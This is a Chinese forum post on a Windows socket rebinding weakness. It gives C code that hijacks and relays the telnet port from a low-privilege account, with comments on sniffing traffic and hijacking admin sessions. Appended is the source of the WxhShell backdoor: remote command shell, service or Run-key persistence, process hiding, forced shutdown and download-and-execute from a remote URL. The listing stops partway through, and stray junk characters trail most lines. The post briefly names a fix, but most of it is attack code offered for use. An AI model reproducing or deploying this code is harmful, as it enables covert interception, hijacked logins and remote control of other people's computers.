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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #<"od'{U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iTq&h=(n  
Z81;Y=(  
  saddr.sin_family = AF_INET; y3 b"'-%  
m4oj1h_4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]tT=jN&(  
y[85eM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qQ^CSn98J  
=|aZNHqH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `<d.I%}  
G^nG^HTo5  
  这意味着什么?意味着可以进行如下的攻击: ^gx~{9`RR  
,LxZbo!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9uWg4U  
n/(}|xYU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t?-a JU  
r'#!w3*Cy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O.X;w<F/V  
;@ixrj0u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rZpsC}C'  
0j4n1 1#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A|1xK90^XT  
LKcp.i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =,;$d&#*h  
frPQi{u$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z3c\}HLY  
#`gX(C>  
  #include ~K#92  
  #include R,78}7B  
  #include 8CRbo24"s  
  #include    [zN*P$U]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |3E|VGm~  
  int main() //|B?4kk  
  { *j]Bo,AC  
  WORD wVersionRequested; AQ(n?1LU  
  DWORD ret; 2IW!EUR  
  WSADATA wsaData; 0]*W0#{Zj  
  BOOL val; $t^Td<  
  SOCKADDR_IN saddr; Ewr2popK  
  SOCKADDR_IN scaddr; Q njK<}M9  
  int err; T^#d;A  
  SOCKET s; *5oQZ".vA*  
  SOCKET sc; nlhv  
  int caddsize; WO9vOS>  
  HANDLE mt; @OT$* Qh  
  DWORD tid;   >Tl/3{V  
  wVersionRequested = MAKEWORD( 2, 2 ); " ]G'^  
  err = WSAStartup( wVersionRequested, &wsaData ); :Ob^b3<t  
  if ( err != 0 ) { =>c0NT  
  printf("error!WSAStartup failed!\n"); GqsV 6kH  
  return -1; `3ha~+Goo!  
  } 5EQ)pH+  
  saddr.sin_family = AF_INET; aWRi`poZT  
   e8dZR3JL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?'a>?al%>  
h_P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HLqN=vE6  
  saddr.sin_port = htons(23); +,YK}?e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7K.],eo0  
  { hy;V~J#  
  printf("error!socket failed!\n"); kZG; \  
  return -1; hQe78y  
  } qonStIP  
  val = TRUE; uwI"V|g%a&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $rk=#;6]v;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !ck~4~J  
  { LlgFQfu8  
  printf("error!setsockopt failed!\n"); . G25D  
  return -1; w=!xTA  
  } !m~r0M7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %pOxt<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9#1?Pt^{<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cy!P!t,@  
&L?]w=*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eP:\\; ;  
  { q1L>nvE  
  ret=GetLastError(); X6Z/xb@  
  printf("error!bind failed!\n"); q {   
  return -1; cE`qfz  
  } %7`eT^  
  listen(s,2); $-pijBiz_  
  while(1) x 2&5zp  
  { 9eHqOmz  
  caddsize = sizeof(scaddr); "2-D[rYZ  
  //接受连接请求 MtPdpm6\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mDp8JNJNE  
  if(sc!=INVALID_SOCKET) { g[kn^|  
  { ._j?1Fw`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |P& \C8h  
  if(mt==NULL) JBHPI@Qt%  
  { ?o6#i3k#'  
  printf("Thread Creat Failed!\n"); C :sgT6  
  break; %wru)  
  } G?LC!9MB  
  } NpM;vO  
  CloseHandle(mt); <w*WL_P  
  } ct=K.m@E%X  
  closesocket(s); -&1P2m/46  
  WSACleanup(); ws QuJrG  
  return 0; QX}JQ<8  
  }   (U$;0`  
  DWORD WINAPI ClientThread(LPVOID lpParam) /%7&De6Xg  
  { )sK53O$  
  SOCKET ss = (SOCKET)lpParam; s{7bu|0  
  SOCKET sc; [OOQ0c~  
  unsigned char buf[4096]; ]G8"\J4 &  
  SOCKADDR_IN saddr; F?FfRzZ[  
  long num; ?5B?P:=kl  
  DWORD val; <VstnJo`Z  
  DWORD ret; ~&<vAgy,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;<T,W[3J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Mr4,?Z&`-d  
  saddr.sin_family = AF_INET; =vF!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Ba]Zo Z  
  saddr.sin_port = htons(23); f>Ua7!b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .]4MtG  
  { 9a+Y )?z  
  printf("error!socket failed!\n"); A\9LJ#E  
  return -1; 0uM&F[.x@g  
  } RS&BS;  
  val = 100; -e0[$v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -~(d_  
  { 8BZ&-j{  
  ret = GetLastError(); <2<2[F5Q%  
  return -1; T+RC#&>  
  } !fe_w5S^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @^ &p$:  
  { Z;1r=p#s  
  ret = GetLastError(); H0])>1sWB  
  return -1; 9Qu(RbDqC  
  } =<PEvIn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ':tdb$h  
  { s~>1TxJe  
  printf("error!socket connect failed!\n"); aqK+ u.H  
  closesocket(sc); #U w X~  
  closesocket(ss); 8EdaxeDq  
  return -1; ;-"q;&1e  
  } [lSQMoi3  
  while(1) fdwP@6eh  
  { Sa@'?ApH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j+ L:Ao  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {' 0#<Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?VRsgV'$  
  num = recv(ss,buf,4096,0); `J03t\  
  if(num>0) nq>F_h  
  send(sc,buf,num,0); $~1mKx]]  
  else if(num==0) uF}B:53A  
  break; za 7+xF  
  num = recv(sc,buf,4096,0); I][&*V1  
  if(num>0) !J@!2S 9  
  send(ss,buf,num,0); W)T'?b'.  
  else if(num==0) b]xoXC6@t  
  break; KkpbZ7\@  
  } #M'V%^xP  
  closesocket(ss); zv;xxAX  
  closesocket(sc); #+U1QOsz  
  return 0 ; 1$C?+H  
  } A X1!<K  
?fC9)s  
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========================================================== (.Ak*  
 CDuA2e  
下边附上一个代码,,WXhSHELL L$);50E  
|`o1B;lc  
========================================================== w8UUeF  
0&Ftx%6%  
#include "stdafx.h" 3< 6h~ek )  
6:; >id${  
#include <stdio.h> !m-`~3P#l,  
#include <string.h> ,:'JJZg@  
#include <windows.h> $-t@=N@vO?  
#include <winsock2.h> nsVLgTbx  
#include <winsvc.h> jC}HNiM78  
#include <urlmon.h> $%31Gk[I  
|=,jom  
#pragma comment (lib, "Ws2_32.lib") { m{nCl)y  
#pragma comment (lib, "urlmon.lib") {dRZ2U3  
#Oj yUQ,  
#define MAX_USER   100 // 最大客户端连接数 mPQT%%MF  
#define BUF_SOCK   200 // sock buffer /#@tv~Z^  
#define KEY_BUFF   255 // 输入 buffer kn$_X4^?  
HRM-r~2:-]  
#define REBOOT     0   // 重启 m`q&[:  
#define SHUTDOWN   1   // 关机 + %K~  
vV 9vB3K5?  
#define DEF_PORT   5000 // 监听端口 _&s pMf  
8 qw{e`c  
#define REG_LEN     16   // 注册表键长度 &?1^/]'"r  
#define SVC_LEN     80   // NT服务名长度 olxxs(  
ln8NcAEx  
// 从dll定义API P*|=Z>%[0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5=#d#dDc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); emrA!<w!W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p-EU"O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VMJaL}J]  
k%O3\q  
// wxhshell配置信息 ]' Ho)Q  
struct WSCFG { OUGkam0UK  
  int ws_port;         // 监听端口 ;]>)6  
  char ws_passstr[REG_LEN]; // 口令 }KIS_krs  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,tyPZR_  
  char ws_regname[REG_LEN]; // 注册表键名 @^ -Y&N!b=  
  char ws_svcname[REG_LEN]; // 服务名 #s\kF *  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SRk!HuXh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @0t[7Nv-1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $)9|"q6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "cBqZzkk9j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lq;iR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4L{]!dox  
> 3(,s^  
}; x@bqPZ t  
oZ tCx  
// default Wxhshell configuration whHuV*K}  
struct WSCFG wscfg={DEF_PORT, A4#F AFy  
    "xuhuanlingzhe", N#e9w3Rli  
    1, U\j g X  
    "Wxhshell", lfC]!=2%~8  
    "Wxhshell", <?!'  
            "WxhShell Service", jg{2Sxf!c  
    "Wrsky Windows CmdShell Service", i(cKg&+ktd  
    "Please Input Your Password: ", wJq$yqos{  
  1, Tt{z_gU6  
  "http://www.wrsky.com/wxhshell.exe", </xf4.C  
  "Wxhshell.exe" R@tEC)Zn  
    }; "gm5 DE  
m9:ah<  
// 消息定义模块 SvvNk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w <"mS*Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &$_!S!Sa/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +By'6?22  
char *msg_ws_ext="\n\rExit."; S`FIb'J  
char *msg_ws_end="\n\rQuit."; v;;3 K*c>  
char *msg_ws_boot="\n\rReboot..."; p0zC(v0*  
char *msg_ws_poff="\n\rShutdown..."; "Z,T%]  
char *msg_ws_down="\n\rSave to "; l,l6j";ohd  
_<sN54  
char *msg_ws_err="\n\rErr!"; h\3-8m  
char *msg_ws_ok="\n\rOK!"; s>L.V2!$0  
7t<MHdw  
char ExeFile[MAX_PATH]; h| wdx(4  
int nUser = 0; eh]sye KBj  
HANDLE handles[MAX_USER]; .lP',hn  
int OsIsNt; 5<v1v&  
^5TVm>F@3  
SERVICE_STATUS       serviceStatus; q jc4IW t~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C f d* Q  
ivq(eKy  
// 函数声明 6z6\xkr  
int Install(void); pXN'vP  
int Uninstall(void); #(Gz?kGAH`  
int DownloadFile(char *sURL, SOCKET wsh); *xsBFCRU  
int Boot(int flag); p!uB8F  
void HideProc(void); ]|,}hsN  
int GetOsVer(void); rEj[XK  
int Wxhshell(SOCKET wsl); "uIaKb  
void TalkWithClient(void *cs); c};%VB  
int CmdShell(SOCKET sock); K@cWg C  
int StartFromService(void); ~KkC089D  
int StartWxhshell(LPSTR lpCmdLine); #m?)XB^_  
we^' R}d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5BXku=M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t;h`nH[  
"zd_eC5  
// 数据结构和表定义 {en'8kS  
SERVICE_TABLE_ENTRY DispatchTable[] = !Pnjr T  
{ ! {G0'   
{wscfg.ws_svcname, NTServiceMain}, l}VE8-XB  
{NULL, NULL} ^4"AWps  
}; Q]N&^ E  
=|IlORf<  
// 自我安装 u4SL:IH{D  
int Install(void) EUcD[Rv  
{ BPt? 3tC  
  char svExeFile[MAX_PATH]; 1Pw1TO"Z  
  HKEY key; $>O~7Nfst7  
  strcpy(svExeFile,ExeFile); [yQ%g;m  
9.M'FCd~M  
// 如果是win9x系统,修改注册表设为自启动 R3|4|JlGR  
if(!OsIsNt) { \#dacQ2E@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jLVD37 P^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =%IyR  
  RegCloseKey(key); 6Nn+7z<*&z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8t*sp-cy|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); At=d//5FFP  
  RegCloseKey(key); H#;*kc a4  
  return 0; GK'p$`oJm  
    } LPJ7V` !k  
  } b=:ud[h  
} ~BJE~  
else { -NN=(p!<  
(iir,Ks2C  
// 如果是NT以上系统,安装为系统服务 k"&o)*d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TK\3mrEI  
if (schSCManager!=0) ' :B;!3a0d  
{ [F+W]Jk,  
  SC_HANDLE schService = CreateService r\ft{Z<P  
  ( MU a[}?  
  schSCManager, QE[<Y3M  
  wscfg.ws_svcname, .aY $-Y<  
  wscfg.ws_svcdisp, !KK`+ 9/  
  SERVICE_ALL_ACCESS, Y 2ANt w@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I)FFh%m<}a  
  SERVICE_AUTO_START, /^nIOAeE  
  SERVICE_ERROR_NORMAL, Kh$"5dy  
  svExeFile, #Iz)Mu  
  NULL, J}xM+l7uY  
  NULL, {E Ay~lo  
  NULL, H2R3I<j  
  NULL, 1a{3k#}  
  NULL &Z]}rn  
  ); Z@+nkTJ9&t  
  if (schService!=0) /v5A)A$7  
  { 8ex;g^e  
  CloseServiceHandle(schService); NC-K`)  
  CloseServiceHandle(schSCManager); _`\!+qGq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YWH>tt 9  
  strcat(svExeFile,wscfg.ws_svcname); oxc;DfJ_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PJN9[Y{^3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B1nm?E 0i  
  RegCloseKey(key); ~ `qWE u  
  return 0; L@(. i  
    } nI6ompTX  
  } z&d.YO_W  
  CloseServiceHandle(schSCManager); 66eJp-5e8  
} NLL"~  
} Ju47}t%HB  
VM\R-[  
return 1; "E2 0Y"[h  
} Q+ V<&  
u)r/#fUZ  
// 自我卸载 4joE"H6  
int Uninstall(void) {HEWU<5  
{ R~oJ-} iYX  
  HKEY key; IXa~,a H71  
*2a"2o  
if(!OsIsNt) { d[3me{Rs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G:$kGzhJ  
  RegDeleteValue(key,wscfg.ws_regname); 15j5F5P   
  RegCloseKey(key); &]n }fq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,6g{-r-2  
  RegDeleteValue(key,wscfg.ws_regname); %[*-aA  
  RegCloseKey(key); 0@zJa;z'  
  return 0; ?(=|!`IoO  
  } LQPQ !):;  
} R'c dEoy  
} M+ %O-B  
else { x7zc3%T's  
]z^jz#>um&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cl^UFl f[  
if (schSCManager!=0) 1 gjaTPwY  
{ %@a;q?/?Nd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,ZJ}X 9$<  
  if (schService!=0) BNdq=|,+"  
  { jJiuq#;T3  
  if(DeleteService(schService)!=0) { / =6_2t#vA  
  CloseServiceHandle(schService); qco'neR"z  
  CloseServiceHandle(schSCManager); # atq7t X  
  return 0; Ly2,*\7  
  } Y0,{fw<  
  CloseServiceHandle(schService); 3?FY?Q[  
  } }5vKQf   
  CloseServiceHandle(schSCManager); 4%r?(C0x  
} -1Li&K7  
} C<^i`[&P$  
mnM]@8^G  
return 1; )?[7}(4jI  
} c2g[w;0"  
" C0dZ  
// 从指定url下载文件 *g+ ZXB  
int DownloadFile(char *sURL, SOCKET wsh) $EFS_*<X  
{ ek]JzD~w$  
  HRESULT hr; #h=V@Dh  
char seps[]= "/"; HU?1>}4L  
char *token; 1M??@@X  
char *file; G)< B7-72;  
char myURL[MAX_PATH]; )4uWB2ZRoi  
char myFILE[MAX_PATH]; h7E?7nR  
SnFyK5  
strcpy(myURL,sURL); ck] I?  
  token=strtok(myURL,seps); aYa`ex  
  while(token!=NULL) As)?~dV  
  { F!#)l*OX;  
    file=token; im &N &A  
  token=strtok(NULL,seps); AQjv? 4)T  
  } R5=J:o  
yP$esDP  
GetCurrentDirectory(MAX_PATH,myFILE); (9%?ik  
strcat(myFILE, "\\"); =_k  
strcat(myFILE, file); bDWL Hdu a  
  send(wsh,myFILE,strlen(myFILE),0); 6Z#Nh@!+C  
send(wsh,"...",3,0); 30^q_|l:]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O.Pp*sQ^  
  if(hr==S_OK) ++,I`x+p  
return 0; A` _dj}UF  
else ;?HP/dZLz  
return 1; _?"y1 L.  
y60aJ)rAX  
} j%'2^C8  
^oPFLez56  
// 系统电源模块 G;cC!x<  
int Boot(int flag) O"~[njwkE  
{ n)5t!  
  HANDLE hToken; apm%\dN  
  TOKEN_PRIVILEGES tkp; m^L!_~  
:(US um  
  if(OsIsNt) { ZskX!{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ne<S_u2nT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y$7Ys:R~  
    tkp.PrivilegeCount = 1; l3b=8yn.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h!SsIy(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u $-&Im<  
if(flag==REBOOT) { 2EM6k|l5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [G8EX3  
  return 0; "|(.W3f1  
} m@kLZimD  
else { "W+>?u)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `$jun  
  return 0; vE(]!CB  
} /A0_#g:2*#  
  } iqB5h| `  
  else { fe yc  
if(flag==REBOOT) { o A2oX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )e0kr46  
  return 0; P@UE.0NYX  
} ~ `}),aA  
else { <MJU:m $3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vai w*?jV  
  return 0; NL:-3W7vf  
} e4=FO;%  
} xRc+3Z= N  
!o`7$`%Wz\  
return 1; (^iF)z  
} %R?7u'=~  
QErdjjg E  
// win9x进程隐藏模块 rAP="H<  
void HideProc(void) !a UYidd  
{ O'98OH+u  
pdJ]V`m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fD[O tc  
  if ( hKernel != NULL ) >#:SJ?)`T  
  { KS(H_&j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AjEy@ /  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =_BHpgL  
    FreeLibrary(hKernel); Y)/|C7~W  
  } kF^4kCJ@  
pqO0M]}  
return; h%F.h![*  
} 9 l~D}5e7  
r}qDvC D  
// 获取操作系统版本 1A'eH:$  
int GetOsVer(void) 4r4 #u'Om  
{ T5T%[Gv  
  OSVERSIONINFO winfo; a6 vej  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _ab8z]H   
  GetVersionEx(&winfo); iwM xTty  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A'`F Rx(  
  return 1; =| T^)J  
  else mOj; 0 R  
  return 0; tgG 8pL  
} BNJ0D  
Z:^#9D{  
// 客户端句柄模块 M>5OC)E  
int Wxhshell(SOCKET wsl) + Fo^NT  
{ eZa7brC|  
  SOCKET wsh; V5$ Gb6?K  
  struct sockaddr_in client; P^"RH&ZQJ  
  DWORD myID; '|=Pw  
?WXftzdf6u  
  while(nUser<MAX_USER) )rP,+B?W  
{ \azMF}mb  
  int nSize=sizeof(client); D)x^?!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^k7I+A  
  if(wsh==INVALID_SOCKET) return 1; @4UX~=:686  
A^FkU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hNh!H<}|m8  
if(handles[nUser]==0) D+:s{IcL<  
  closesocket(wsh); nuWQ3w p[e  
else VK*_p EV,}  
  nUser++; RK-bsf  
  } y}oA!<#3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g]Y%c73  
k%gj  
  return 0; TaSS) n  
} c&wg`1{Hal  
4GI3|{  
// 关闭 socket F% a&|X  
void CloseIt(SOCKET wsh) D"aK;_W@h  
{ Htr]_<@  
closesocket(wsh); s9"X.-!  
nUser--; wbF`wi?  
ExitThread(0); er24}G8  
} gmH`XKi\  
|Q)mBvvN  
// 客户端请求句柄 *#>(P  
void TalkWithClient(void *cs) pLe4dz WA  
{ D~ 3@v+d  
eE'>kP}  
  SOCKET wsh=(SOCKET)cs; -4+'(3qr  
  char pwd[SVC_LEN]; 4+>yL+sC%v  
  char cmd[KEY_BUFF]; bP-(N14x+  
char chr[1]; uQH]  
int i,j; 0J/yd  
V0 {#q/q  
  while (nUser < MAX_USER) { D+;4|7s+  
UfPB-EFl$D  
if(wscfg.ws_passstr) { 7/a7p(   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >b"@{MZ@t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,N:^4A  
  //ZeroMemory(pwd,KEY_BUFF); ,w6?Ap  
      i=0; X@[5nyILf  
  while(i<SVC_LEN) { C zw]5  
:'%|LBc0  
  // 设置超时 |MKR&%Na  
  fd_set FdRead; _Jg#T~  
  struct timeval TimeOut; {sB-"NR`K  
  FD_ZERO(&FdRead); FJH>P\+  
  FD_SET(wsh,&FdRead); g7?[}?]3"p  
  TimeOut.tv_sec=8; 8K 9HFT@yV  
  TimeOut.tv_usec=0; w^8Q~ 3|7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |sr\SCx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9^g8VlQdT  
sx azl]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !VIxEu^ke  
  pwd=chr[0]; }iDRlE,  
  if(chr[0]==0xd || chr[0]==0xa) { C ibfuR  
  pwd=0; Dti-*LB1  
  break; |)To 0Z  
  } MkFWZ9c3  
  i++; 3HXeBW  
    } V<|N}8{Z2a  
pSC{0Y$g  
  // 如果是非法用户,关闭 socket 7Z:3xb&>   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9\?&u_ U"  
} EsWB|V>  
@F(er  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :tO?+1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !]s=9(O  
!QAndg{;D  
while(1) {  !{V`N|0  
yx`@f8Kr  
  ZeroMemory(cmd,KEY_BUFF); ='D%c^;O8'  
HLz<C  
      // 自动支持客户端 telnet标准   >CKa?N;  
  j=0; L|APXy]>  
  while(j<KEY_BUFF) { r)>'cjx/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SE(<(w  
  cmd[j]=chr[0]; *IbDA  
  if(chr[0]==0xa || chr[0]==0xd) { Y<POdbg  
  cmd[j]=0; z5({A2q  
  break; vh"';L_*37  
  } #]+BIr`  
  j++; 4d@0v n{  
    } M6MxY\uM  
mQ}\ptdfV  
  // 下载文件 o/,%rA4  
  if(strstr(cmd,"http://")) { 74 ptd,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0P$19T N  
  if(DownloadFile(cmd,wsh)) XdIno}pN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8bMw.u=F  
  else m8L %!6o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \4$Nx/@Q}  
  } ?~.9: 93  
  else { E l.eK9L  
oIOeX1$V  
    switch(cmd[0]) { B> i^w1  
  N%:uOX8{  
  // 帮助 H h](n<Bs  
  case '?': { kKbbsB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H4v%$R;K  
    break; `4@` G:6BL  
  } *tZ3?X[b  
  // 安装 |U1u:=[  
  case 'i': { 5C*Zb3VG4  
    if(Install()) p({|=+bl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !#]kzS0  
    else EX<1hAw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o>]w76A^(  
    break;  ]igCV  
    } Th,]nVsGs~  
  // 卸载 E.$//P n|1  
  case 'r': { @:hWahMy  
    if(Uninstall()) W{ozZuo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .-s!} P"  
    else Qh3+4nLFtb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gg6cjc=dC  
    break; $+e(k~  
    } coaJDg+  
  // 显示 wxhshell 所在路径 7m8:odeF  
  case 'p': { $?: -A  
    char svExeFile[MAX_PATH]; RToX[R;1E  
    strcpy(svExeFile,"\n\r"); &C,]c#-+  
      strcat(svExeFile,ExeFile);  H!y@.W{_  
        send(wsh,svExeFile,strlen(svExeFile),0); YA8/TFu<_  
    break; Tz& cm =  
    } m|cRj{xZF  
  // 重启 jvd3_L-@E<  
  case 'b': { <C"}OW8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gcX  
    if(Boot(REBOOT)) ]]V=\.y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  h;K9}w  
    else { :1iXBG\  
    closesocket(wsh); uTbMp~cYB  
    ExitThread(0); (o6 u ^#6  
    } k3OnvnJb  
    break; >>J!|  
    } Z+J~moW `  
  // 关机 NFIFCy!  
  case 'd': { }?{. 'Hv0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T^ xp2cZ  
    if(Boot(SHUTDOWN)) H'EBe;ccM  
